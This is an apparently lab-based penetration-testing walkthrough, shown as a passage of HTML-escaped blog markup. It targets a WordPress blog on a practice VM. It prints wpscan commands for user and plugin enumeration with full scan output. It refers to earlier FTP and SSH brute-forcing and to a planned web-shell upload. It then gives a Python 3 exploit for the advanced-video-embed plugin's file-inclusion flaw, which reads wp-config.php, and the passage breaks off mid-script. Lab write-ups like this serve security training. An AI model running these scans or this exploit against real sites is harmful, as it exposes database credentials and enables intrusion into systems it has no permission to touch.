&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315182640708.png"&gt;&lt;/p&gt;
&lt;p&gt;phpMyAdmin is not very useful for those who already obtained the login credentials via SSH brute-force. It&amp;rsquo;s handy if you don&amp;rsquo;t have a local DB client like DBeaver and don&amp;rsquo;t want to use MySQL on the command line.&lt;/p&gt;
&lt;h5 id="blogblog-blog-system"&gt;blogblog Blog System
&lt;/h5&gt;&lt;p&gt;The main course at last — the blog system. Opening the page immediately shows a login window and WordPress hints. Time to bring out the tools!&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316092814691.png"&gt;&lt;/p&gt;
&lt;p&gt;Enumerate users first:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316093332677.png"&gt;&lt;/p&gt;
&lt;p&gt;You can try logging in as elly (the account obtained from FTP brute-force earlier), but it&amp;rsquo;s obvious she is a regular user, not an admin. The password can be the one cracked from MySQL earlier. If the MySQL path wasn&amp;rsquo;t taken, no worries — there are more vulnerabilities.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316093240156.png"&gt;&lt;/p&gt;
&lt;p&gt;Scan for installed plugins:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316094155791.png"&gt;&lt;/p&gt;
&lt;p&gt;Registration URL and upload directory discovered. If uploading a shell later, it should go under this path.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316094242604.png"&gt;&lt;/p&gt;
&lt;p&gt;Plugin scan results below — let&amp;rsquo;s go through them one by one:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;i&lt;span class="o"&gt;]&lt;/span&gt; Plugin&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; Identified:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; advanced-video-embed-embed-videos-or-playlists
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Latest Version: 1.0 &lt;span class="o"&gt;(&lt;/span&gt;up to date&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2015-10-14T13:52:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; Directory listing is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: &lt;span class="m"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Version: 1.0 &lt;span class="o"&gt;(&lt;/span&gt;80% confidence&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Readme - Stable Tag &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; akismet
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Latest Version: 5.6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2025-11-12T16:31:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: &lt;span class="m"&gt;403&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; The version could not be determined.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; shortcode-ui
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2019-01-16T22:56:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; The version is out of date, the latest version is 0.7.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; Directory listing is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: &lt;span class="m"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Version: 0.6.2 &lt;span class="o"&gt;(&lt;/span&gt;100% confidence&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Readme - Stable Tag &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Confirmed By: Readme - ChangeLog Section &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; two-factor
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Latest Version: 0.15.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2026-02-17T13:21:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; Directory listing is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: &lt;span class="m"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; The version could not be determined.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h6 id="advanced-video-plugin"&gt;advanced-video Plugin
&lt;/h6&gt;&lt;p&gt;After researching, a Local File Inclusion vulnerability was found:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316094717588.png"&gt;&lt;/p&gt;
&lt;p&gt;Download and add SSL support, convert to Python 3 syntax:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urllib.request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urllib.error&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;ssl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Ignore SSL certificate verification&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_create_default_https_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_create_unverified_context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://172.168.169.131:12380/blogblog&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# Replace with your target IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;randomID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100000000000000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;objHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/wp-admin/admin-ajax.php?action=ave_publishPost&amp;amp;title=&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;randomID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;amp;short=rnd&amp;amp;term=rnd&amp;amp;thumb=../wp-config.php&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;objHtml&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;numbers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\d+&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="c1"&gt;# Python 3 integer division&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;objHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/?p=&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;objHtml&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
